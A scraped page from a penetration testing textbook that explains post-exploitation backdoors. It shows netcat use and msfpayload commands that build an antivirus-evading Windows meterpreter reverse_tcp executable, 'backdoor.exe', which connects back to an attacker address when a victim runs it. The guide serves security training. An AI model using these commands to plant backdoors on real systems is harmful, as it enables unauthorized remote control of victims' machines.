Ethical Hacking and Penetration Testing Guide



Yüklə 22,44 Mb.
Pdf görüntüsü
səhifə151/235
tarix07.08.2023
ölçüsü22,44 Mb.
#138846
1   ...   147   148   149   150   151   152   153   154   ...   235
Ethical Hacking and Penetration Testing Guide ( PDFDrive )

Command
:
nc –v
MSFPayload/MSFEncode
Using netcat as a backdoor is not a very stealthy technique as most of the antiviruses as well as 
system administrators or users can easily recognize its presence. Also, we need a more powerful 
shell such as meterpreter as with netcat we would only be able to access the command prompt. 
To solve both of our problems we use a more powerful backdoor that can be generated with the 
help of msfpayload and msfencode. We use msfpayload to generate a backdoor and msfencode to 
encode the payload so it can bypass any antivirus restrictions.
Generating a Backdoor with MSFPayload
Msfpayload
is a command line tool used to generate shell codes; it has the capability to 
generate shell codes in multiple forms. For this particular demonstration I will use msfpayload 
to generate a backdoor in exe. Thus whenever the victim executes it, we would have a reverse 
connection.
The command 
msfpayload –l
will display a list of all the payloads that we can use:


Postexploitation
◾ 
245
Since our target is a Windows operating system, we can use any of our Windows-based pay-
loads. For the sake of this demonstration we use 
windows/meterpreter/reverse _ tcp

Let’s view its options.
Command
:
msfpayload windows/meterpreter/reverse_tcp O
The O parameter is used to list information about the module. As you can see we need 
LHOST and the lport. The default is set to 4444; in case we don’t define one it will automati-
cally set it to 4444. We will also use an additional parameter “X” to output the payload as an 
executable.
Command
:
msfpayload windows/meterpreter/reverse_tcp lhost = 192.168.75.144 lport = 
4444 X >/root/Desktop/backdoor.exe
The executable would be generated on the desktop with the name “backdoor.exe”.

Yüklə 22,44 Mb.

Dostları ilə paylaş:
1   ...   147   148   149   150   151   152   153   154   ...   235




Verilənlər bazası müəlliflik hüququ ilə müdafiə olunur ©azkurs.org 2024
rəhbərliyinə müraciət

gir | qeydiyyatdan keç
    Ana səhifə


yükləyin